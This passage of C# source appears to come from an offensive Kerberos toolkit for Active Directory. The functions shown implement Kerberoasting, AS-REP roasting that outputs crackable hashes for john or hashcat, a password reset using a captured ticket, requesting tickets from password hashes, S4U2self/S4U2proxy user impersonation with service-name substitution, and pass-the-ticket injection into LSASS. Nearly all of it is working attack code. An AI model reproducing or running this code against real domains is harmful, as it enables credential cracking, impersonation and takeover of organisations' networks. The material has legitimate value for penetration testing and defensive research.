KerberosRequestorSecurityToken method GetTGSRepHash(servicePrincipalName, samAccountName, distinguishedName, cred, outFile); } } } catch (Exception ex) { Console.WriteLine("\r\n[X] Error executing the domain searcher: {0}", ex.InnerException.Message); return; } } if (!String.IsNullOrEmpty(outFile)) { Console.WriteLine("[*] Roasted hashes written to : {0}", Path.GetFullPath(outFile)); } }
public static void UserPassword(KRB_CRED kirbi, string newPassword, string domainController = "") { // implements the Kerberos-based password reset originally disclosed by Aorato // This function is misc::changepw in Kekeo // Takes a valid TGT .kirbi and builds a MS Kpasswd password change sequence // AP-REQ with randomized sub session key // KRB-PRIV structure containing ChangePasswdData, enc w/ the sub session key // reference: Microsoft Windows 2000 Kerberos Change Password and Set Password Protocols (RFC3244) Console.WriteLine("[*] Action: Reset User Password (AoratoPw)\r\n"); // grab the default DC if none was supplied if (String.IsNullOrEmpty(domainController)) { domainController = Networking.GetDCName(); if (String.IsNullOrEmpty(domainController)) { return; } } System.Net.IPAddress[] dcIP; try { dcIP = System.Net.Dns.GetHostAddresses(domainController); } catch (Exception e) { Console.WriteLine("[X] Error resolving IP for domain controller \"{0}\" : {1}", domainController, e.Message); return; } // extract the user and domain from the existing .kirbi ticket string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; string userDomain = kirbi.enc_part.ticket_info[0].prealm; Console.WriteLine("[*] Changing password for user: {0}@{1}", userName, userDomain); Console.WriteLine("[*] New password value: {0}", newPassword); // build the AP_REQ using the user ticket's keytype and key Console.WriteLine("[*] Building AP-REQ for the MS Kpassword request"); AP_REQ ap_req = new AP_REQ(userDomain, userName, kirbi.tickets[0], kirbi.enc_part.ticket_info[0].key.keyvalue, (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype, Interop.KRB_KEY_USAGE_AP_REQ_AUTHENTICATOR); // create a new session subkey for the Authenticator and match the encryption type of the user key Console.WriteLine("[*] Building Authenticator with encryption key type: {0}", (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype); ap_req.authenticator.subkey = new EncryptionKey(); ap_req.authenticator.subkey.keytype = kirbi.enc_part.ticket_info[0].key.keytype; // generate a random session subkey Random random = new Random(); byte[] randKeyBytes; Interop.KERB_ETYPE randKeyEtype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; if (randKeyEtype == Interop.KERB_ETYPE.rc4_hmac) { randKeyBytes = new byte[16]; random.NextBytes(randKeyBytes); ap_req.authenticator.subkey.keyvalue = randKeyBytes; } else if (randKeyEtype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1) { randKeyBytes = new byte[32]; random.NextBytes(randKeyBytes); ap_req.authenticator.subkey.keyvalue = randKeyBytes; } else { Console.WriteLine("[X] Only rc4_hmac and aes256_cts_hmac_sha1 key hashes supported at this time!"); return; } Console.WriteLine("[*] base64(session subkey): {0}", Convert.ToBase64String(randKeyBytes)); // randKeyBytes is now the session key used for the KRB-PRIV structure // MIMIKATZ_NONCE ;) ap_req.authenticator.seq_number = 1818848256; // now build the KRV-PRIV structure Console.WriteLine("[*] Building the KRV-PRIV structure"); KRB_PRIV changePriv = new KRB_PRIV(randKeyEtype, randKeyBytes); // the new password to set for the user changePriv.enc_part = new EncKrbPrivPart(newPassword, "lol"); // now build the final MS Kpasswd request byte[] apReqBytes = ap_req.Encode().Encode(); byte[] changePrivBytes = changePriv.Encode().Encode(); byte[] packetBytes = new byte[10 + apReqBytes.Length + changePrivBytes.Length]; short msgLength = (short)(packetBytes.Length - 4); byte[] msgLengthBytes = BitConverter.GetBytes(msgLength); System.Array.Reverse(msgLengthBytes); // Record Mark packetBytes[2] = msgLengthBytes[0]; packetBytes[3] = msgLengthBytes[1]; // Message Length packetBytes[4] = msgLengthBytes[0]; packetBytes[5] = msgLengthBytes[1]; // Version (Reply) packetBytes[6] = 0x0; packetBytes[7] = 0x1; // AP_REQ Length short apReqLen = (short)(apReqBytes.Length); byte[] apReqLenBytes = BitConverter.GetBytes(apReqLen); System.Array.Reverse(apReqLenBytes); packetBytes[8] = apReqLenBytes[0]; packetBytes[9] = apReqLenBytes[1]; // AP_REQ Array.Copy(apReqBytes, 0, packetBytes, 10, apReqBytes.Length); // KRV-PRIV Array.Copy(changePrivBytes, 0, packetBytes, apReqBytes.Length + 10, changePrivBytes.Length); // KPASSWD_DEFAULT_PORT = 464 byte[] response = Networking.SendBytes(dcIP[0].ToString(), 464, packetBytes, true); if (response == null) { return; } try { AsnElt responseAsn = AsnElt.Decode(response, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == 30) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } } catch { } // otherwise parse the resulting KRB-PRIV from the server byte[] respRecordMarkBytes = { response[0], response[1], response[2], response[3] }; Array.Reverse(respRecordMarkBytes); int respRecordMark = BitConverter.ToInt32(respRecordMarkBytes, 0); byte[] respMsgLenBytes = { response[4], response[5] }; Array.Reverse(respMsgLenBytes); int respMsgLen = BitConverter.ToInt16(respMsgLenBytes, 0); byte[] respVersionBytes = { response[6], response[7] }; Array.Reverse(respVersionBytes); int respVersion = BitConverter.ToInt16(respVersionBytes, 0); byte[] respAPReqLenBytes = { response[8], response[9] }; Array.Reverse(respAPReqLenBytes); int respAPReqLen = BitConverter.ToInt16(respAPReqLenBytes, 0); byte[] respAPReq = new byte[respAPReqLen]; Array.Copy(response, 10, respAPReq, 0, respAPReqLen); int respKRBPrivLen = respMsgLen - respAPReqLen - 6; byte[] respKRBPriv = new byte[respKRBPrivLen]; Array.Copy(response, 10 + respAPReqLen, respKRBPriv, 0, respKRBPrivLen); // decode the KRB-PRIV response AsnElt respKRBPrivAsn = AsnElt.Decode(respKRBPriv, false); foreach (AsnElt elem in respKRBPrivAsn.Sub[0].Sub) { if (elem.TagValue == 3) { byte[] encBytes = elem.Sub[0].Sub[1].GetOctetString(); byte[] decBytes = Crypto.KerberosDecrypt(randKeyEtype, Interop.KRB_KEY_USAGE_KRB_PRIV_ENCRYPTED_PART, randKeyBytes, encBytes); AsnElt decBytesAsn = AsnElt.Decode(decBytes, false); byte[] responseCodeBytes = decBytesAsn.Sub[0].Sub[0].Sub[0].GetOctetString(); Array.Reverse(responseCodeBytes); short responseCode = BitConverter.ToInt16(responseCodeBytes, 0); if (responseCode == 0) { Console.WriteLine("[+] Password change success!"); } else { Console.WriteLine("[X] Password change error: {0}", (Interop.KADMIN_PASSWD_ERR)responseCode); } } } }
public static List <IDictionary <string, Object> > GetLdapQuery(System.Net.NetworkCredential cred, string OUName, string domainController, string domain, string filter, bool ldaps = false) { var ActiveDirectoryObjects = new List <IDictionary <string, Object> >(); if (String.IsNullOrEmpty(domainController)) { domainController = Networking.GetDCName(domain); //if domain is null, this will try to find a DC in current user's domain } if (String.IsNullOrEmpty(domainController)) { Console.WriteLine("[X] Unable to retrieve the domain information, try again with '/domain'."); return(null); } if (ldaps) { LdapConnection ldapConnection = null; SearchResponse response = null; List <SearchResultEntry> result = new List <SearchResultEntry>(); // perhaps make this dynamic? int maxResultsToRequest = 1000; try { var serverId = new LdapDirectoryIdentifier(domainController, 636); ldapConnection = new LdapConnection(serverId, cred); ldapConnection.SessionOptions.SecureSocketLayer = true; ldapConnection.SessionOptions.VerifyServerCertificate += delegate { return(true); }; ldapConnection.Bind(); } catch (Exception ex) { if (ex.InnerException != null) { Console.WriteLine("[X] Error binding to LDAP server: {0}", ex.InnerException.Message); } else { Console.WriteLine("[X] Error binding to LDAP server: {0}", ex.Message); } return(null); } if (String.IsNullOrEmpty(OUName)) { OUName = String.Format("DC={0}", domain.Replace(".", ",DC=")); } try { Console.WriteLine("[*] Searching path '{0}' for '{1}'", OUName, filter); PageResultRequestControl pageRequestControl = new PageResultRequestControl(maxResultsToRequest); PageResultResponseControl pageResponseControl; SearchRequest request = new SearchRequest(OUName, filter, SearchScope.Subtree, null); request.Controls.Add(pageRequestControl); while (true) { response = (SearchResponse)ldapConnection.SendRequest(request); foreach (SearchResultEntry entry in response.Entries) { result.Add(entry); } pageResponseControl = (PageResultResponseControl)response.Controls[0]; if (pageResponseControl.Cookie.Length == 0) { break; } pageRequestControl.Cookie = pageResponseControl.Cookie; } } catch (Exception ex) { Console.WriteLine("[X] Error executing LDAP query: {0}", ex.Message); } if (response.ResultCode == ResultCode.Success) { ActiveDirectoryObjects = Helpers.GetADObjects(result); } } else { DirectoryEntry directoryObject = null; DirectorySearcher searcher = null; try { directoryObject = Networking.GetLdapSearchRoot(cred, OUName, domainController, domain); searcher = new DirectorySearcher(directoryObject); // enable LDAP paged search to get all results, by pages of 1000 items searcher.PageSize = 1000; } catch (Exception ex) { if (ex.InnerException != null) { Console.WriteLine("[X] Error creating the domain searcher: {0}", ex.InnerException.Message); } else { Console.WriteLine("[X] Error creating the domain searcher: {0}", ex.Message); } return(null); } // check to ensure that the bind worked correctly try { string dirPath = directoryObject.Path; if (String.IsNullOrEmpty(dirPath)) { Console.WriteLine("[*] Searching the current domain for '{0}'", filter); } else { Console.WriteLine("[*] Searching path '{0}' for '{1}'", dirPath, filter); } } catch (DirectoryServicesCOMException ex) { if (!String.IsNullOrEmpty(OUName)) { Console.WriteLine("\r\n[X] Error validating the domain searcher for bind path \"{0}\" : {1}", OUName, ex.Message); } else { Console.WriteLine("\r\n[X] Error validating the domain searcher: {0}", ex.Message); } return(null); } try { searcher.Filter = filter; } catch (Exception ex) { Console.WriteLine("[X] Error settings the domain searcher filter: {0}", ex.InnerException.Message); return(null); } SearchResultCollection results = null; try { results = searcher.FindAll(); if (results.Count == 0) { Console.WriteLine("[X] No results returned by LDAP!"); return(null); } } catch (Exception ex) { if (ex.InnerException != null) { Console.WriteLine("[X] Error executing the domain searcher: {0}", ex.InnerException.Message); } else { Console.WriteLine("[X] Error executing the domain searcher: {0}", ex.Message); } return(null); } ActiveDirectoryObjects = Helpers.GetADObjects(results); } return(ActiveDirectoryObjects); }
public static void GetASRepHash(string userName, string domain, string domainController = "", string format = "") { // roast AS-REPs for users without pre-authentication enabled Console.WriteLine("[*] Action: AS-REP Roasting"); // grab the default DC if none was supplied if (String.IsNullOrEmpty(domainController)) { domainController = Networking.GetDCName(); if (String.IsNullOrEmpty(domainController)) { Console.WriteLine("[X] Error retrieving the current domain controller."); return; } } System.Net.IPAddress[] dcIP = null; try { dcIP = System.Net.Dns.GetHostAddresses(domainController); } catch (Exception e) { Console.WriteLine("[X] Error retrieving IP for domain controller \"{0}\" : {1}", domainController, e.Message); return; } Console.WriteLine("\r\n[*] Using domain controller: {0} ({1})", domainController, dcIP[0]); Console.WriteLine("[*] Building AS-REQ (w/o preauth) for: '{0}\\{1}'", domain, userName); byte[] reqBytes = AS_REQ.NewASReq(userName, domain, Interop.KERB_ETYPE.rc4_hmac); byte[] response = Networking.SendBytes(dcIP[0].ToString(), 88, reqBytes); if (response == null) { return; } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == 11) { Console.WriteLine("[+] AS-REQ w/o preauth successful!"); // parse the response to an AS-REP AS_REP rep = new AS_REP(response); // output the hash of the encrypted KERB-CRED in a crackable hash form string repHash = BitConverter.ToString(rep.enc_part.cipher).Replace("-", string.Empty); repHash = repHash.Insert(32, "$"); string hashString = ""; if (format == "john") { hashString = String.Format("$krb5asrep${0}@{1}:{2}", userName, domain, repHash); } else { // eventual hashcat format hashString = String.Format("$krb5asrep${0}$*{1}${2}*${3}${4}", (int)Interop.KERB_ETYPE.rc4_hmac, userName, domain, repHash.Substring(0, 32), repHash.Substring(32)); } Console.WriteLine("[*] AS-REP hash:\r\n"); // display the base64 of a hash, columns of 80 chararacters foreach (string line in Helpers.Split(hashString, 80)) { Console.WriteLine(" {0}", line); } } else if (responseTag == 30) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } }
public static byte[] TGT(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, bool ptt, string domainController = "", uint luid = 0) { Console.WriteLine("[*] Action: Ask TGT\r\n"); // grab the default DC if none was supplied if (String.IsNullOrEmpty(domainController)) { domainController = Networking.GetDCName(); if (String.IsNullOrEmpty(domainController)) { return(null); } } Console.WriteLine("[*] Using {0} hash: {1}", etype, keyString); if (luid != 0) { Console.WriteLine("[*] Target LUID : {0}", luid); } System.Net.IPAddress[] dcIP = System.Net.Dns.GetHostAddresses(domainController); Console.WriteLine("[*] Using domain controller: {0} ({1})", domainController, dcIP[0]); Console.WriteLine("[*] Building AS-REQ (w/ preauth) for: '{0}\\{1}'", domain, userName); byte[] reqBytes = AS_REQ.NewASReq(userName, domain, keyString, etype); byte[] response = Networking.SendBytes(dcIP[0].ToString(), 88, reqBytes); if (response == null) { return(null); } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == 11) { Console.WriteLine("[+] TGT request successful!"); // parse the response to an AS-REP AS_REP rep = new AS_REP(responseAsn); // convert the key string to bytes byte[] key = Helpers.StringToByteArray(keyString); // decrypt the enc_part containing the session key/etc. // TODO: error checking on the decryption "failing"... byte[] outBytes; if (etype == Interop.KERB_ETYPE.rc4_hmac) { // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); } else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1) { // KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3 outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); } else { Console.WriteLine("\r\n[X] Encryption type \"{0}\" not currently supported", etype); return(null); } AsnElt ae = AsnElt.Decode(outBytes, false); EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); // now build the final KRB-CRED structure KRB_CRED cred = new KRB_CRED(); // add the ticket cred.tickets.Add(rep.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart.key.keytype; info.key.keyvalue = encRepPart.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart.realm; // [2] pname (user) info.pname.name_type = rep.cname.name_type; info.pname.name_string = rep.cname.name_string; // [3] flags info.flags = encRepPart.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart.starttime; // [6] endtime info.endtime = encRepPart.endtime; // [7] renew-till info.renew_till = encRepPart.renew_till; // [8] srealm info.srealm = encRepPart.realm; // [9] sname info.sname.name_type = encRepPart.sname.name_type; info.sname.name_string = encRepPart.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString); // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } if (ptt || (luid != 0)) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes, luid); } return(kirbiBytes); } else if (responseTag == 30) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); return(null); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); return(null); } }
public static byte[] TGS(string userName, string domain, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE etype, string service, bool ptt, string domainController = "", bool display = true) { if (display) { Console.WriteLine("[*] Action: Ask TGS\r\n"); } // grab the default DC if none was supplied if (String.IsNullOrEmpty(domainController)) { domainController = Networking.GetDCName(); if (String.IsNullOrEmpty(domainController)) { return(null); } } System.Net.IPAddress[] dcIP; try { dcIP = System.Net.Dns.GetHostAddresses(domainController); } catch (Exception e) { Console.WriteLine("[X] Error resolving IP for domain controller \"{0}\" : {1}", domainController, e.Message); return(null); } if (display) { Console.WriteLine("[*] Using domain controller: {0} ({1})", domainController, dcIP[0]); Console.WriteLine("[*] Building TGS-REQ request for: '{0}'", service); } byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, service, providedTicket, clientKey, etype, false); byte[] response = Networking.SendBytes(dcIP[0].ToString(), 88, tgsBytes); if (response == null) { return(null); } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == 13) { Console.WriteLine("[+] TGS request successful!"); // parse the response to an TGS-REP TGS_REP rep = new TGS_REP(responseAsn); // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 byte[] outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher); AsnElt ae = AsnElt.Decode(outBytes, false); EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); // now build the final KRB-CRED structure KRB_CRED cred = new KRB_CRED(); // add the ticket cred.tickets.Add(rep.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart.key.keytype; info.key.keyvalue = encRepPart.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart.realm; // [2] pname (user) info.pname.name_type = rep.cname.name_type; info.pname.name_string = rep.cname.name_string; // [3] flags info.flags = encRepPart.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart.starttime; // [6] endtime info.endtime = encRepPart.endtime; // [7] renew-till info.renew_till = encRepPart.renew_till; // [8] srealm info.srealm = encRepPart.realm; // [9] sname info.sname.name_type = encRepPart.sname.name_type; info.sname.name_string = encRepPart.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); if (display) { Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString); // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } if (ptt) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes); } return(kirbiBytes); } else { return(kirbiBytes); } } else if (responseTag == 30) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } return(null); }
public static void Execute(KRB_CRED kirbi, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "") { Console.WriteLine("[*] Action: S4U\r\n"); // extract out the info needed for the TGS-REQ/S4U2Self execution string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; string domain = kirbi.enc_part.ticket_info[0].prealm; Ticket ticket = kirbi.tickets[0]; byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; // grab the default DC if none was supplied if (String.IsNullOrEmpty(domainController)) { domainController = Networking.GetDCName(); if (String.IsNullOrEmpty(domainController)) { return; } } System.Net.IPAddress[] dcIP = System.Net.Dns.GetHostAddresses(domainController); Console.WriteLine("[*] Using domain controller: {0} ({1})", domainController, dcIP[0]); Console.WriteLine("[*] Building S4U2self request for: '{0}\\{1}'", domain, userName); Console.WriteLine("[*] Impersonating user '{0}' to target SPN '{1}'", targetUser, targetSPN); if (!String.IsNullOrEmpty(altService)) { string[] altSnames = altService.Split(','); if (altSnames.Length == 1) { Console.WriteLine("[*] Final ticket will be for the alternate service '{0}'", altService); } else { Console.WriteLine("[*] Final tickets will be for the alternate services '{0}'", altService); } } byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype, false, targetUser); Console.WriteLine("[*] Sending S4U2self request"); byte[] response = Networking.SendBytes(dcIP[0].ToString(), 88, tgsBytes); if (response == null) { return; } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == 13) { Console.WriteLine("[+] S4U2self success!"); // parse the response to an TGS-REP TGS_REP rep = new TGS_REP(responseAsn); // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62 byte[] outBytes = Crypto.KerberosDecrypt(etype, 8, clientKey, rep.enc_part.cipher); AsnElt ae = AsnElt.Decode(outBytes, false); EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); // TODO: ensure the cname contains the name of the user! otherwise s4u not supported Console.WriteLine("[*] Building S4U2proxy request for service: '{0}'", targetSPN); TGS_REQ s4u2proxyReq = new TGS_REQ(); PA_DATA padata = new PA_DATA(domain, userName, ticket, clientKey, etype); s4u2proxyReq.padata.Add(padata); s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CNAMEINADDLTKT; s4u2proxyReq.req_body.realm = domain; string[] parts = targetSPN.Split('/'); string serverName = parts[1]; s4u2proxyReq.req_body.sname.name_type = 2; // the sname s4u2proxyReq.req_body.sname.name_string.Add(parts[0]); // the server s4u2proxyReq.req_body.sname.name_string.Add(serverName); // supported encryption types s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); // add in the ticket from the S4U2self response s4u2proxyReq.req_body.additional_tickets.Add(rep.ticket); byte[] s4ubytes = s4u2proxyReq.Encode().Encode(); Console.WriteLine("[*] Sending S4U2proxy request"); byte[] response2 = Networking.SendBytes(dcIP[0].ToString(), 88, s4ubytes); if (response == null) { return; } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn2 = AsnElt.Decode(response2, false); // check the response value int responseTag2 = responseAsn2.TagValue; if (responseTag2 == 13) { Console.WriteLine("[+] S4U2proxy success!"); // parse the response to an TGS-REP TGS_REP rep2 = new TGS_REP(responseAsn2); // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62 byte[] outBytes2 = Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher); AsnElt ae2 = AsnElt.Decode(outBytes2, false); EncKDCRepPart encRepPart2 = new EncKDCRepPart(ae2.Sub[0]); if (!String.IsNullOrEmpty(altService)) { string[] altSnames = altService.Split(','); foreach (string altSname in altSnames) { // now build the final KRB-CRED structure with one or more alternate snames KRB_CRED cred = new KRB_CRED(); // since we want an alternate sname, first substitute it into the ticket structure rep2.ticket.sname.name_string[0] = altSname; // add the ticket cred.tickets.Add(rep2.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart2.key.keytype; info.key.keyvalue = encRepPart2.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart2.realm; // [2] pname (user) info.pname.name_type = rep2.cname.name_type; info.pname.name_string = rep2.cname.name_string; // [3] flags info.flags = encRepPart2.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart2.starttime; // [6] endtime info.endtime = encRepPart2.endtime; // [7] renew-till info.renew_till = encRepPart2.renew_till; // [8] srealm info.srealm = encRepPart2.realm; // [9] sname info.sname.name_type = encRepPart2.sname.name_type; info.sname.name_string = encRepPart2.sname.name_string; // if we want an alternate sname, substitute it into the encrypted portion of the KRB_CRED Console.WriteLine("\r\n[*] Substituting alternative service name '{0}'", altSname); info.sname.name_string[0] = altSname; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}/{1}':\r\n", altSname, serverName); // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } if (ptt) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes); } } } else { // now build the final KRB-CRED structure, no alternate snames KRB_CRED cred = new KRB_CRED(); // if we want an alternate sname, first substitute it into the ticket structure if (!String.IsNullOrEmpty(altService)) { rep2.ticket.sname.name_string[0] = altService; } // add the ticket cred.tickets.Add(rep2.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart2.key.keytype; info.key.keyvalue = encRepPart2.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart2.realm; // [2] pname (user) info.pname.name_type = rep2.cname.name_type; info.pname.name_string = rep2.cname.name_string; // [3] flags info.flags = encRepPart2.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart2.starttime; // [6] endtime info.endtime = encRepPart2.endtime; // [7] renew-till info.renew_till = encRepPart2.renew_till; // [8] srealm info.srealm = encRepPart2.realm; // [9] sname info.sname.name_type = encRepPart2.sname.name_type; info.sname.name_string = encRepPart2.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("\r\n[*] base64(ticket.kirbi) for SPN '{0}':\r\n", targetSPN); // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } if (ptt) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes); } } } else if (responseTag == 30) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } } else if (responseTag == 30) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } }
public static void Kerberoast(string spn = "", string userName = "", string OUName = "", string domain = "", string dc = "", System.Net.NetworkCredential cred = null, string outFile = "") { Console.WriteLine("\r\n[*] Action: Kerberoasting\r\n"); if (!String.IsNullOrEmpty(spn)) { Console.WriteLine("[*] Target SPN : {0}", spn); GetDomainSPNTicket(spn, outFile); } else { if ((!String.IsNullOrEmpty(domain)) || (!String.IsNullOrEmpty(OUName)) || (!String.IsNullOrEmpty(userName))) { if (!String.IsNullOrEmpty(userName)) { Console.WriteLine("[*] Target User : {0}", userName); } if (!String.IsNullOrEmpty(domain)) { Console.WriteLine("[*] Target Domain : {0}", domain); } if (!String.IsNullOrEmpty(OUName)) { Console.WriteLine("[*] Target OU : {0}", OUName); } } DirectoryEntry directoryObject = null; DirectorySearcher userSearcher = null; string bindPath = ""; string domainPath = ""; try { if (cred != null) { if (!String.IsNullOrEmpty(OUName)) { string ouPath = OUName.Replace("ldap", "LDAP").Replace("LDAP://", ""); bindPath = String.Format("LDAP://{0}/{1}", cred.Domain, ouPath); } else { bindPath = String.Format("LDAP://{0}", cred.Domain); } } else if ((!String.IsNullOrEmpty(domain)) || !String.IsNullOrEmpty(OUName)) { if (String.IsNullOrEmpty(dc)) { dc = Networking.GetDCName(); } bindPath = String.Format("LDAP://{0}", dc); if (!String.IsNullOrEmpty(OUName)) { string ouPath = OUName.Replace("ldap", "LDAP").Replace("LDAP://", ""); bindPath = String.Format("{0}/{1}", bindPath, ouPath); } else if (!String.IsNullOrEmpty(domain)) { domainPath = domain.Replace(".", ",DC="); bindPath = String.Format("{0}/DC={1}", bindPath, domainPath); } } if (!String.IsNullOrEmpty(bindPath)) { directoryObject = new DirectoryEntry(bindPath); } else { directoryObject = new DirectoryEntry(); } if (cred != null) { // if we're using alternate credentials for the connection string userDomain = String.Format("{0}\\{1}", cred.Domain, cred.UserName); directoryObject.Username = userDomain; directoryObject.Password = cred.Password; using (PrincipalContext pc = new PrincipalContext(ContextType.Domain, cred.Domain)) { if (!pc.ValidateCredentials(cred.UserName, cred.Password)) { Console.WriteLine("\r\n[X] Credentials supplied for '{0}' are invalid!", userDomain); return; } else { Console.WriteLine("[*] Using alternate creds : {0}", userDomain); } } } userSearcher = new DirectorySearcher(directoryObject); } catch (Exception ex) { Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.InnerException.Message); return; } // check to ensure that the bind worked correctly try { Guid guid = directoryObject.Guid; } catch (DirectoryServicesCOMException ex) { if (!String.IsNullOrEmpty(OUName)) { Console.WriteLine("\r\n[X] Error creating the domain searcher for bind path \"{0}\" : {1}", OUName, 